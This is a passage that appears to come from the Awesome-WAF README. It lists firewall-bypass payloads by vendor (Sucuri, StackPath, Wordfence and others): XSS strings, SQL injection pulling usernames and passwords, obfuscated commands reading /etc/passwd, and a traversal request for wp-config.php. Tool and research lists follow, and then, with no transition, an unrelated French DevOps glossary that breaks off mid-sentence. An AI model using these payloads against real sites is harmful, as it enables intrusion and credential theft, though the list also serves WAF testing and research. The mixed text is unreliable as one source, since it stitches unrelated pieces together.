%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E ``` - [XSS Bypass](https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c) by [@Jonathan Bouman](https://twitter.com/jonathanbouman) ``` ``` - XSS Bypass by [@0xInfection](https://twitter.com/0xInfection) ``` ``` - [XSS Bypass](https://hackerone.com/reports/263226) by [@sp1d3rs](https://twitter.com/h1_sp1d3rs) ``` %2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E ``` - [XSS Bypass](https://twitter.com/fransrosen/status/1126963506723590148) by [@Frans Rosén](https://twitter.com/fransrosen) ``` ``` - [XSS Bypass](https://twitter.com/security_prince/status/1127804521315426304) by [@Ishaq Mohammed](https://twitter.com/security_prince) ``` ``` ### Profense - [GET Type CSRF Attack](https://www.exploit-db.com/exploits/7919) by [@Michael Brooks](https://www.exploit-db.com/?author=628) (>= v.2.6.2) Turn off Proface Machine ``` ``` Add a proxy ``` ``` - XSS Bypass by [@Michael Brooks](https://www.exploit-db.com/?author=628) (>= v.2.6.2) ``` https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>" ``` - [XSS Bypass](https://www.securityfocus.com/bid/35053/info) by [@EnableSecurity](https://enablesecurity.com) (>= v2.4) ``` %3CEvil%20script%20goes%20here%3E=%0AByPass %3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E ``` ### QuickDefense - XSS Bypass by [@WAFNinja](https://waf.ninja/) ``` ?
``` ### Sucuri - [XSS Bypass (POST Only)](https://twitter.com/brutelogic/status/1209086328383660033) by [@brutelogic](https://twitter.com/brutelogic) ``` ``` - [Smuggling RCE Payloads](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) ``` /???/??t+/???/??ss?? ``` - [Obfuscating RCE Payloads](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) by [@theMiddle](https://twitter.com/Menin_TheMiddle) ``` ;+cat+/e'tc/pass'wd c\\a\\t+/et\\c/pas\\swd ``` - [XSS Bypass](https://twitter.com/return_0x/status/1148605627180208129) by [@Luka](https://twitter.com/return_0x) ``` "> ``` - [XSS Bypass](https://twitter.com/brutelogic/status/1148610104738099201) by [@Brute Logic](https://twitter.com/brutelogic) ``` data:text/html,
``` ### StackPath - [XSS Bypass](https://twitter.com/0xInfection/status/1298642820664823808) by [@0xInfection](https://twitter.com/0xInfection) ``` Right-Click Here ``` - SQLi by [@WAFNinja](https://waf.ninja) ``` 0 union(select 1,username,password from(users)) 0 union(select 1,@@hostname,@@datadir) ``` - XSS Bypass by [@Aatif Khan](https://twitter.com/thenapsterkhan) (v4.1) ```
Right-Click Here ``` - [SQLi Bypass](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L562) by [@ZeQ3uL](http://www.exploit-db.com/author/?a=1275) ``` 10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables) ``` ### Wordfence - XSS Bypass by [@brute Logic](https://twitter.com/brutelogic) ``` ``` - XSS Bypass by [@0xInfection](https://twitter.com/0xInfection) ``` click ``` - [HTML Injection](https://www.securityfocus.com/bid/69815/info) by [@Voxel](https://www.exploit-db.com/?author=8505) ``` http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php ``` - [XSS Exploit](https://www.securityfocus.com/bid/56159/info) by [@MustLive](https://www.exploit-db.com/?author=1293) (>= v3.3.5) ``` Wordfence Security XSS exploit (C) 2012 MustLive. http://websecurity.com.ua
``` - [Other XSS Bypasses](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md) ``` >
" >> ``` ### Apache Generic - Writing method type in lowercase by [@i_bo0om](http://twitter.com/i_bo0om) ``` get /login HTTP/1.1 Host: favoritewaf.com User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT) ``` ### IIS Generic - Tabs before method by [@i_bo0om](http://twitter.com/i_bo0om) ``` GET /login.php HTTP/1.1 Host: favoritewaf.com User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT) ``` ## Awesome Tools ### Fingerprinting: - [WAFW00F](https://github.com/enablesecurity/wafw00f) - The ultimate WAF fingerprinting tool with the largest fingerprint database from [@EnableSecurity](https://github.com/enablesecurity). - [IdentYwaf](https://github.com/stamparm/identywaf) - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm](https://github.com/stamparm). ### Testing: - [GoTestWAF](https://github.com/wallarm/gotestwaf) - A tool to test a WAF's detection logic and bypasses from [@wallarm](https://github.com/wallarm). - [Lightbulb Framework](https://github.com/lightbulb-framework/lightbulb-framework) - A WAF testing suite written in Python. - [WAFBench](https://github.com/microsoft/wafbench) - A WAF performance testing suite by [Microsoft](https://github.com/microsoft). - [WAF Testing Framework](https://www.imperva.com/lg/lgw_trial.asp?pid=483) - A WAF testing tool by [Imperva](https://imperva.com). - [Framework for Testing WAFs (FTW)](https://github.com/coreruleset/ftw) - A framework by the [OWASP CRS team](https://coreruleset.org/) that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline. ### Evasion: - [WAFNinja](https://github.com/khalilbijjou/wafninja) - A smart tool which fuzzes and can suggest bypasses for a given WAF by [@khalilbijjou](https://github.com/khalilbijjou/). - [WAFTester](https://github.com/Raz0r/waftester) - Another tool which can obfuscate payloads to bypass WAFs by [@Raz0r](https://github.com/Raz0r/). - [libinjection-fuzzer](https://github.com/migolovanov/libinjection-fuzzer) - A fuzzer intended for finding `libinjection` bypasses but can be probably used universally. - [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) - A tool which searches for old DNS records for finding actual site behind the WAF. - [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf) - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs. - [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap) - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs. - [Bypass WAF BurpSuite Plugin](https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c) - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network. - [enumXFF](https://github.com/infosec-au/enumXFF) - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions - [WAF Bypass Tool](https://github.com/nemesida-waf/waf-bypass) - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. ### Management: - [AWS Firewall Factory](https://github.com/globaldatanet/aws-firewall-factory) - Deploy, update, and stage your WAFs while managing them centrally via FMS. ## Blogs and Writeups > Many of the content mentioned above have been taken from some of the following excellent writeups. - [Web Application Firewall (WAF) Evasion Techniques #1](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) - By [@Secjuice](https://www.secjuice.com). - [Web Application Firewall (WAF) Evasion Techniques #2](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - By [@Secjuice](https://www.secjuice.com). - [Web Application Firewall (WAF) Evasion Techniques #3](https://www.secjuice.com/web-application-firewall-waf-evasion/) - By [@Secjuice](https://www.secjuice.com). - [How To Exploit PHP Remotely To Bypass Filters & WAF Rules](https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)- By [@Secjuice](https://secjuice.com) - [ModSecurity SQL Injection Challenge: Lessons Learned](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) - By [@SpiderLabs](https://trustwave.com). - [XXE that can Bypass WAF](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0) - By [@WallArm](https://labs.wallarm.com). - [SQL Injection Bypassing WAF](https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF) - By [@OWASP](https://owasp.com). - [How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing](https://www.sunnyhoi.com/reverse-engineer-web-application-firewall-using-regular-expression-reversing/) - By [@SunnyHoi](https://twitter.com/sunnyhoi). - [Bypassing Web-Application Firewalls by abusing SSL/TLS](https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html) - By [@0x09AL](https://twitter.com/0x09al). - [Request Encoding to Bypass WAFs](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/) - By [@Soroush Dalili](https://twitter.com/irsdl) ## Video Presentations - [WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior](https://www.youtube.com/watch?v=tSf_IXfuzXk) from [@OWASP](https://owasp.org). - [Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls](https://www.youtube.com/watch?v=PVVG4rCFZGU) from [BlackHat USA 12](https://blackhat.com/html/bh-us-12). - [Web Application Firewall - Analysis of Detection Logic](https://www.youtube.com/watch?v=dMFJLicdaC0) from [BlackHat](https://blackhat.com). - [Bypassing Browser Security Policies for Fun & Profit](https://www.youtube.com/watch?v=P5R4KeCzO-Q) from [BlackHat](https://blackhat.com). - [Web Application Firewall Bypassing](https://www.youtube.com/watch?v=SD7ForrwUMY) from [Positive Technologies](https://ptsecurity.com). - [Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks](https://www.usenix.org/conference/woot12/workshop-program/presentation/schmitt) from [@UseNix](https://www.usenix.com). - [Evading Deep Inspection Systems for Fun and Shell](https://www.youtube.com/watch?v=BkmPZhgLmRo) from [BlackHat US 13](https://blackhat.com/html/bh-us-13). - [Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload)](https://www.youtube.com/watch?v=lWoxAjvgiHs) from [Fools of Security](https://www.youtube.com/channel/UCEBHO0kD1WFvIhf9wBCU-VQ). - [WAFs FTW! A modern devops approach to security testing your WAF](https://www.youtube.com/watch?v=05Uy0R7UdFw) from [AppSec USA 17](https://www.youtube.com/user/OWASPGLOBAL). - [Web Application Firewall Bypassing WorkShop](https://www.youtube.com/watch?v=zfBT7Kc57xs) from [OWASP](https://owasp.com). - [Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch](https://www.youtube.com/watch?v=dWLpw-7_pa8) from [Rafay Bloch](http://rafaybaloch.com). - [WTF - WAF Testing Framework](https://www.youtube.com/watch?v=ixb-L5JWJgI) from [AppSecUSA 13](https://owasp.org). - [The Death of a Web App Firewall](https://www.youtube.com/watch?v=mB_xGSNm8Z0) from [Brian McHenry](https://www.youtube.com/channel/UCxzs-N2sHnXFwi0XjDIMTPg). - [Adventures with the WAF](https://www.youtube.com/watch?v=rdwB_p0KZXM) from [BSides Manchester](https://www.youtube.com/channel/UC1mLiimOTqZFK98VwM8Ke4w). - [Bypassing Intrusion Detection Systems](https://www.youtube.com/watch?v=cJ3LhQXzrXw) from [BlackHat](https://blackhat.com). - [Building Your Own WAF as a Service and Forgetting about False Positives](https://www.youtube.com/watch?v=dgqUcHprolc) from [Auscert](https://conference.auscert.org.au). ## Presentations & Research Papers ### Research Papers: - [Protocol Level WAF Evasion](papers/Qualys%20Guide%20-%20Protocol-Level%20WAF%20Evasion.pdf) - A protocol level WAF evasion techniques and analysis by [Qualys](https://www.qualys.com). - [Neural Network based WAF for SQLi](papers/Artificial%20Neural%20Network%20based%20WAF%20for%20SQL%20Injection.pdf) - A paper about building a neural network based WAF for detecting SQLi attacks. - [Bypassing Web Application Firewalls with HTTP Parameter Pollution](papers/Bypassing%20Web%20Application%20Firewalls%20with%20HTTP%20Parameter%20Pollution.pdf) - A research paper from [Exploit DB](https://exploit-db.com) about effectively bypassing WAFs via HTTP Parameter Pollution. - [Poking A Hole in the Firewall](papers/Poking%20A%20Hole%20In%20The%20Firewall.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about modern firewall analysis. - [Modern WAF Fingerprinting and XSS Filter Bypass](papers/Modern%20WAF%20Fingerprinting%20and%20XSS%20Filter%20Bypass.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about WAF fingerprinting and bypassing XSS filters. - [WAF Evasion Testing](papers/SANS%20Guide%20-%20WAF%20Evasion%20Testing.pdf) - A WAF evasion testing guide from [SANS](https://www.sans.org). - [Side Channel Attacks for Fingerprinting WAF Filter Rules](papers/Side%20Channel%20(Timing)%20Attacks%20for%20Fingerprinting%20WAF%20Rules.pdf) - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12](https://www.usenix.org/conference/woot12). - [WASC WAF Evaluation Criteria](papers/WASC%20WAF%20Evaluation%20Criteria.pdf) - A guide for WAF Evaluation from [Web Application Security Consortium](http://www.webappsec.org). - [WAF Evaluation and Analysis](papers/Web%20Application%20Firewalls%20-%20Evaluation%20and%20Analysis.pdf) - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from [University of Amsterdam](http://www.uva.nl). - [Bypassing all WAF XSS Filters](papers/Evading%20All%20Web-Application%20Firewalls%20XSS%20Filters.pdf) - A paper about bypassing all XSS filter rules and evading WAFs for XSS. - [Beyond SQLi - Obfuscate and Bypass WAFs](papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt) - A research paper from [Exploit Database](https://exploit-db.com) about obfuscating SQL injection queries to effectively bypass WAFs. - [Bypassing WAF XSS Detection Mechanisms](papers/Bypassing%20WAF%20XSS%20Detection%20Mechanisms.pdf) - A research paper about bypassing XSS detection mechanisms in WAFs. ### Presentations: - [Methods to Bypass a Web Application Firewall](presentrations/Methods%20To%20Bypass%20A%20Web%20Application%20Firewall.pdf) - A presentation from [PT Security](https://www.ptsecurity.com) about bypassing WAF filters and evasion. - [Web Application Firewall Bypassing (How to Defeat the Blue Team)](presentation/Web%20Application%20Firewall%20Bypassing%20(How%20to%20Defeat%20the%20Blue%20Team).pdf) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by [@OWASP](https://owasp.org). - [WAF Profiling & Evasion Techniques](presentations/OWASP%20WAF%20Profiling%20&%20Evasion.pdf) - A WAF testing and evasion guide from [OWASP](https://www.owasp.org). - [Protocol Level WAF Evasion Techniques](presentations/BlackHat%20US%2012%20-%20Protocol%20Level%20WAF%20Evasion%20(Slides).pdf) - A presentation at about efficiently evading WAFs at protocol level from [BlackHat US 12](https://www.blackhat.com/html/bh-us-12/). - [Analysing Attacking Detection Logic Mechanisms](presentations/BlackHat%20US%2016%20-%20Analysis%20of%20Attack%20Detection%20Logic.pdf) - A presentation about WAF logic applied to detecting attacks from [BlackHat US 16](https://www.blackhat.com/html/bh-us-16/). - [WAF Bypasses and PHP Exploits](presentations/WAF%20Bypasses%20and%20PHP%20Exploits%20(Slides).pdf) - A presentation about evading WAFs and developing related PHP exploits. - [Side Channel Attacks for Fingerprinting WAF Filter Rules](presentations/Side%20Channel%20Attacks%20for%20Fingerprinting%20WAF%20Filter%20Rules.pdf) - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12](https://www.usenix.org/conference/woot12). - [Our Favorite XSS Filters/IDS and how to Attack Them](presentations/Our%20Favourite%20XSS%20WAF%20Filters%20And%20How%20To%20Bypass%20Them.pdf) - A presentation about how to evade XSS filters set by WAF rules from [BlackHat USA 09](https://www.blackhat.com/html/bh-us-09/). - [Playing Around with WAFs](presentations/Playing%20Around%20with%20WAFs.pdf) - A small presentation about WAF profiling and playing around with them from [Defcon 16](http://www.defcon.org/html/defcon-16/dc-16-post.html). - [A Forgotten HTTP Invisibility Cloak](presentation/A%20Forgotten%20HTTP%20Invisibility%20Cloak.pdf) - A presentation about techniques that can be used to bypass common WAFs from [BSides Manchester](https://www.bsidesmcr.org.uk/). - [Building Your Own WAF as a Service and Forgetting about False Positives](presentations/Building%20Your%20Own%20WAF%20as%20a%20Service%20and%20Forgetting%20about%20False%20Positives.pdf) - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency [Auscert2019](https://conference.auscert.org.au/). ## Credits & License: Initial fingerprint compilation and bypasses were put together by [Pinaki](https://twitter.com/0xInfection) [(0xInfection)](https://github.com/0xinfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the [Apache 2.0 License](LICENSE). # Glossaire DevOps [![Formation-Devops-Webitech.png](https://doc.vainsta.fr/uploads/images/gallery/2025-01/scaled-1680-/miZ1Ahza97ds1vAx-formation-devops-webitech.png)](https://doc.vainsta.fr/uploads/images/gallery/2025-01/miZ1Ahza97ds1vAx-formation-devops-webitech.png) ## Agile Un [framework agile](https://fr.wikipedia.org/wiki/M%C3%A9thode_agile) une structure mĂ©thodologique qui fournit des lignes directrices, des pratiques, et des processus pour aider les Ă©quipes Ă  organiser, planifier, exĂ©cuter et suivre leur travail de maniĂšre itĂ©rative et collaborative. Ce dĂ©veloppement itĂ©ratif dĂ©coupe un projet en sous-projets pour lesquels, on se fixe des objectifs Ă  court termes atteignables. Ces sous-projets sont appelĂ©s des `sprints` et sont de courtes durĂ©es. Le but d’un framework agile est de livrer rapidement au client une premiĂšre version du produit qui correspond Ă  ses besoins, qui Ă©voluera ensuite au fil des versions. **Framework agiles** : Scrum, eXtrem Programming, 
 ## Air Gap “Air Gap” (littĂ©ralement « coupure d’air ») est une mesure de sĂ©curitĂ© dans laquelle un ordinateur ou un rĂ©seau est isolĂ© physiquement de tout autre rĂ©seau, y compris Internet. Cette isolation est souvent rĂ©alisĂ©e en s’assurant qu’aucune connexion physique ou sans fil ne relie l’ordinateur ou le rĂ©seau en question Ă  des systĂšmes externes. L’idĂ©e est de protĂ©ger les donnĂ©es et les systĂšmes contre les accĂšs non autorisĂ©s, les cyberattaques et les logiciels malveillants en Ă©liminant toute voie d’accĂšs directe. ## Artefacts Les artefacts sont des Ă©lĂ©ments gĂ©nĂ©rĂ©s lors du processus d’intĂ©gration continue Ă  partir d’un code source. Il peut ĂȘtre composĂ© de bibliothĂšques, de fichiers de configuration, d’exĂ©cutables, de fichiers de documentation, etc. ## Adresse IP Les adresses IP sont des identifiants numĂ©riques attribuĂ©s aux dispositifs connectĂ©s Ă  un rĂ©seau, leur permettant de communiquer entre eux sur Internet ou au sein d’un rĂ©seau local. ## API Une API, ou Interface de Programmation d’Applications (Application Programming Interface), est un ensemble de rĂšgles et de protocoles pour la construction et l’interaction de logiciels. Elle permet Ă  diffĂ©rents programmes ou composants logiciels de communiquer entre eux. Une API dĂ©finit la maniĂšre dont les fonctions d’un programme peuvent ĂȘtre utilisĂ©es par d’autres programmes, facilitant ainsi leur intĂ©gration et leur interaction sans avoir besoin de connaĂźtre les dĂ©tails de leur mise en Ɠuvre interne. Cela rend les processus de dĂ©veloppement plus rapides et plus flexibles, permettant aux dĂ©veloppeurs de crĂ©er des applications complexes et interconnectĂ©es. ## Automatisation Fonctionnement d’un systĂšme sans intervention humaine, automatisation d’une suite d’opĂ©ration. Elle peut ĂȘtre faĂźte via l’utilisation de scripts et/ou d’outils qui vont permettre de rĂ©duire la charge de travail manuelle et accĂ©lĂ©rer les tĂąches rĂ©pĂ©titives. Autre avantage, elle limite la part des incidents dus Ă  des erreurs humaines. ## Build Le build est la phase appelĂ©e aussi intĂ©gration. Elle consiste Ă  assembler le code des dĂ©veloppeurs avec toutes ses dĂ©pendances afin de fournir un livrable de l’application. Dans cette phase, on retrouve, l’analyse du code (lint), les tests unitaires et la compilation. ## CaaS CaaS, ou Container as a Service, est un modĂšle de service cloud qui permet aux utilisateurs de tĂ©lĂ©charger, organiser, exĂ©cuter, Ă©chelonner, gĂ©rer et arrĂȘter des conteneurs en utilisant une plateforme d’hĂ©bergement basĂ©e sur le cloud. ## Campagne de patchs Une campagne de patch est un processus visant Ă  appliquer des correctifs (patches) amĂ©liorant la sĂ©curitĂ© et la stabilitĂ© Ă  un ensemble de systĂšmes, de logiciels ou d’infrastructures informatiques de maniĂšre coordonnĂ©e. Ces correctifs sont conçus pour rĂ©soudre des failles de sĂ©curitĂ©, des bogues ou pour amĂ©liorer les performances d’un logiciel ou d’un systĂšme. ## CI/CD CI/CD (Continuous Integration / Continuous Deployment) : Pratiques visant Ă  automatiser le processus d’intĂ©gration, de test et de dĂ©ploiement pour livrer rapidement et rĂ©guliĂšrement des mises Ă  jour logicielles. ## CLI Une CLI, ou Command Line Interface (Interface en Ligne de Commande), est une interface utilisateur qui permet aux utilisateurs d’interagir avec un logiciel ou un systĂšme d’exploitation en tapant des commandes textuelles dans un terminal ou une console. ## Cloud Le cloud fait rĂ©fĂ©rence Ă  la fourniture de services informatiques tels que le stockage, le calcul, les bases de donnĂ©es, la mise en rĂ©seau, l’analyse, etc., via Internet. PlutĂŽt que de possĂ©der et de gĂ©rer physiquement des serveurs et des infrastructures informatiques, les entreprises et les individus peuvent accĂ©der Ă  ces ressources Ă  partir de serveurs distants exploitĂ©s par des fournisseurs de **cloud publics**. ## Cloud Hybride Un cloud hybride est un environnement informatique qui combine Ă  la fois des ressources de **cloud public** et de **cloud privĂ©**, permettant aux donnĂ©es et aux applications de s’exĂ©cuter de maniĂšre transparente entre les deux. ConcrĂštement, cela signifie que les entreprises peuvent dĂ©ployer des applications et des donnĂ©es Ă  la fois sur des serveurs et des infrastructures internes (cloud privĂ©) et sur des ressources de cloud public, le tout dans un environnement cohĂ©rent. ## Cluster Un **cluster** est un groupe de machines (nƓuds) interconnectĂ©es qui travaillent ensemble pour exĂ©cuter des applications conteneurisĂ©es. Dans le cadre de Kubernetes, un cluster est constituĂ© d’un plan de contrĂŽle (control plane) et de plusieurs nƓuds de travail. Les clusters offrent une **haute disponibilitĂ©** et une **scalabilitĂ©** en rĂ©partissant les charges de travail sur plusieurs machines. ## CMP Une CMP (Cloud Management Platform) dĂ©signe une plateforme logicielle conçue pour gĂ©rer et orchestrer les ressources, services et opĂ©rations dans un environnement cloud. ## Conteneurs / Conteneurisation Un conteneur est une unitĂ© d’exĂ©cution autonome qui regroupe une application, ses dĂ©pendances logicielles et toutes les ressources nĂ©cessaires Ă  son exĂ©cution, y compris des bibliothĂšques, des fichiers de configuration et des variables d’environnement. Les conteneurs sont conçus pour isoler une application et son environnement de maniĂšre Ă  ce qu’elle puisse ĂȘtre dĂ©ployĂ©e et exĂ©cutĂ©e de maniĂšre cohĂ©rente. Cette technologie permet de porter une application sur n’importe quel serveur, local ou dans le cloud, Ă  la seule condition de possĂ©der la mĂȘme architecture et la mĂȘme famille de systĂšme d’exploitation. ## CRD (Custom Resource Definition) Une **CRD** permet de dĂ©finir des ressources personnalisĂ©es dans Kubernetes. Cela permet aux utilisateurs d’étendre les fonctionnalitĂ©s de Kubernetes en ajoutant de nouveaux types d’objets spĂ©cifiques Ă  leurs besoins. ## DĂ©claratif vs ImpĂ©ratif Dans une approche **dĂ©clarative**, le code de configuration dĂ©crit l’état dans lequel l’environnement de production doit se trouver, sans prendre en compte les Ă©tapes pour y arriver. Le systĂšme fait en sorte que l’infrastructure atteigne l’état dĂ©sirĂ©. Dans une approche **impĂ©rative**, le fichier de configuration dĂ©finit les commandes et les Ă©tapes nĂ©cessaires pour que l’environnement parvienne Ă  l’état dĂ©sirĂ©. Le systĂšme rĂ©alise les commandes indiquĂ©es. Exemple : Ansible ## DĂ©ploiement Blue-Green Une mĂ©thode de dĂ©ploiement qui permet de basculer en douceur entre deux environnements (bleu et vert) pour minimiser les interruptions de service. ## DĂ©ploiement Continu DĂ©ploiement ou livraison continue est une mĂ©thode de dĂ©veloppement de logiciels dans le cadre de laquelle les modifications de code sont automatiquement prĂ©parĂ©es en vue de leur publication dans un environnement de production. La livraison continue Ă©tend le principe de l’intĂ©gration continue en dĂ©ployant tous les changements de code dans un environnement de test et/ou de production aprĂšs l’étape de crĂ©ation. Lorsque la livraison continue est correctement implĂ©mentĂ©e, les dĂ©veloppeurs disposent en permanence d’un artefact de gĂ©nĂ©ration prĂȘt pour le dĂ©ploiement qui a Ă©tĂ© soumis avec succĂšs Ă  un processus de test standardisĂ©. ## Dette Technique La dette technique est une mĂ©taphore utilisĂ©e pour dĂ©crire le coĂ»t cachĂ© associĂ© au retard ou Ă  la nĂ©gligence des bonnes pratiques de dĂ©veloppement, de maintenance et de gestion des systĂšmes informatiques. Cela se produit lorsque des raccourcis, des compromis ou des dĂ©cisions techniques inadĂ©quates sont pris pour accĂ©lĂ©rer le dĂ©veloppement d’un logiciel ou pour rĂ©pondre Ă  des Ă©chĂ©ances serrĂ©es. La dette technique est le reflet des consĂ©quences nĂ©gatives de ces choix Ă  long terme. ## DevSecOps IntĂ©gration de la sĂ©curitĂ© dans les pipelines CI/CD dĂšs le dĂ©but du dĂ©veloppement. ## Edge Computing Le **Edge Computing** est une architecture informatique dĂ©centralisĂ©e qui rapproche les ressources de calcul et de traitement des donnĂ©es des pĂ©riphĂ©riques ou des utilisateurs finaux. Cette approche est couramment utilisĂ©e pour rĂ©duire la latence et la consommation de bande passante dans des environnements distribuĂ©s comme l’IoT ou les systĂšmes connectĂ©s. ## ÉlasticitĂ© L’élasticitĂ© est la capacitĂ© d’un systĂšme informatique d’ajuster dynamiquement les ressources (comme la puissance de calcul, la mĂ©moire, le stockage, etc.) en fonction de la demande des utilisateurs. ## ÉlĂ©vation de privilĂšges L’élĂ©vation de privilĂšges (ou privilege escalation en anglais) fait rĂ©fĂ©rence au processus par lequel un utilisateur ou un processus tente d’acquĂ©rir des privilĂšges ou des autorisations supplĂ©mentaires au sein d’un systĂšme informatique, lui permettant ainsi d’exĂ©cuter des actions pour lesquelles il n’avait pas initialement les droits. L’élĂ©vation de privilĂšges est Ă©galement un sujet important dans le domaine de la sĂ©curitĂ© informatique, car les vulnĂ©rabilitĂ©s qui permettent une Ă©lĂ©vation de privilĂšges peuvent ĂȘtre exploitĂ©es pour compromettre la sĂ©curitĂ© d’un systĂšme. Les correctifs de sĂ©curitĂ© sont souvent publiĂ©s pour corriger de telles vulnĂ©rabilitĂ©s et empĂȘcher les attaquants d’acquĂ©rir des privilĂšges non autorisĂ©s. ## Gestion des configurations La gestion de configuration est un concept fondamental dans l’administration des systĂšmes et des infrastructures informatiques. Elle englobe l’ensemble des processus et des outils utilisĂ©s pour dĂ©finir, mettre en place, surveiller et maintenir les configurations, qu’il s’agisse de serveurs, de postes de travail, de logiciels ou d’équipements rĂ©seaux. ## Gestionnaire de ContrĂŽle de version Un gestionnaire de contrĂŽle de version, Ă©galement appelĂ© logiciel de gestion de version ou systĂšme de contrĂŽle de version (VCS), est un outil informatique qui permet de suivre et de gĂ©rer les modifications apportĂ©es Ă  un ensemble de fichiers au fil du temps. Son principal objectif est de faciliter la collaboration entre plusieurs personnes travaillant sur un mĂȘme projet informatique, que ce soit un logiciel, un site web, une documentation. Le plus utilisĂ© actuellement s’appelle Git. ## Gestion des secrets La gestion des secrets dĂ©signe la pratique permettant de gĂ©rer de maniĂšre sĂ©curisĂ©e les informations sensibles, telles que les mots de passe, les clĂ©s d’authentification, les jetons d’accĂšs, les clĂ©s de chiffrement et d’autres donnĂ©es confidentielles, utilisĂ©es dans les applications, les systĂšmes et les infrastructures informatiques. Cette pratique est essentielle pour garantir la sĂ©curitĂ© des systĂšmes d’informations, car toute faille dans la protection de ces donnĂ©es pourrait entraĂźner des violations de sĂ©curitĂ©, des accĂšs non autorisĂ©s, des pertes de donnĂ©es
 ## Haute DisponibilitĂ© La haute disponibilitĂ© (HA) est un concept en informatique qui se rĂ©fĂšre Ă  la capacitĂ© d’un systĂšme, d’une application ou d’un service Ă  rester opĂ©rationnel et accessible pendant une pĂ©riode de temps prolongĂ©e, gĂ©nĂ©ralement 24 heures sur 24 et 7 jours sur 7. L’objectif de la haute disponibilitĂ© est de minimiser les temps d’arrĂȘt non planifiĂ©s, d’assurer la continuitĂ© des opĂ©rations et de garantir que les utilisateurs finaux puissent accĂ©der aux ressources informatiques sans interruption notable. Pour atteindre un haut niveau de disponibilitĂ©, les organisations mettent en place des architectures redondantes, des clusters, des systĂšmes de basculement et des tests rigoureux de continuitĂ© des opĂ©rations. Cela garantit que les systĂšmes restent opĂ©rationnels mĂȘme en cas de dĂ©faillance matĂ©rielle, de coupures d’électricitĂ©, de catastrophes naturelles ou de cyberattaques. ## Helm **Helm** est un gestionnaire de packages pour Kubernetes. Il permet de simplifier l’installation, la gestion et la mise Ă  jour des applications Kubernetes en utilisant des **charts** (modĂšles de dĂ©ploiement). Helm est particuliĂšrement utile pour dĂ©ployer des applications complexes avec des dĂ©pendances multiples. ## IAAS IaaS est l’acronyme de “Infrastructure as a Service”, qui se traduit en français par “Infrastructure en tant que Service”. Il s’agit d’un modĂšle de cloud qui aux utilisateurs de provisionner des ressources d’infrastructures informatiques sous forme de services. ## Idempotence En algĂšbre, l’**idempotence** est la propriĂ©tĂ© d’une opĂ©ration, d’avoir le mĂȘme effet qu’on l’applique une ou plusieurs fois. Par exemple, la valeur absolue est idempotente : abs(abs(−5)) = abs(−5), les deux membres Ă©tant Ă©gaux Ă  5. En programmation une fonction est idempotente si l’état du systĂšme reste le mĂȘme aprĂšs un ou plusieurs appels. ## Infrastructure as Code L’infrastructure en tant que code (Infrastructure as Code) est une infrastructure informatique virtuelle qui est crĂ©Ă©e, configurĂ©e et approvisionnĂ©e automatiquement via du code informatique. ## IntĂ©gration Continue CI ou **intĂ©gration continue** est une mĂ©thode de dĂ©veloppement avec laquelle les dĂ©veloppeurs intĂšgrent rĂ©guliĂšrement leurs modifications de code Ă  un 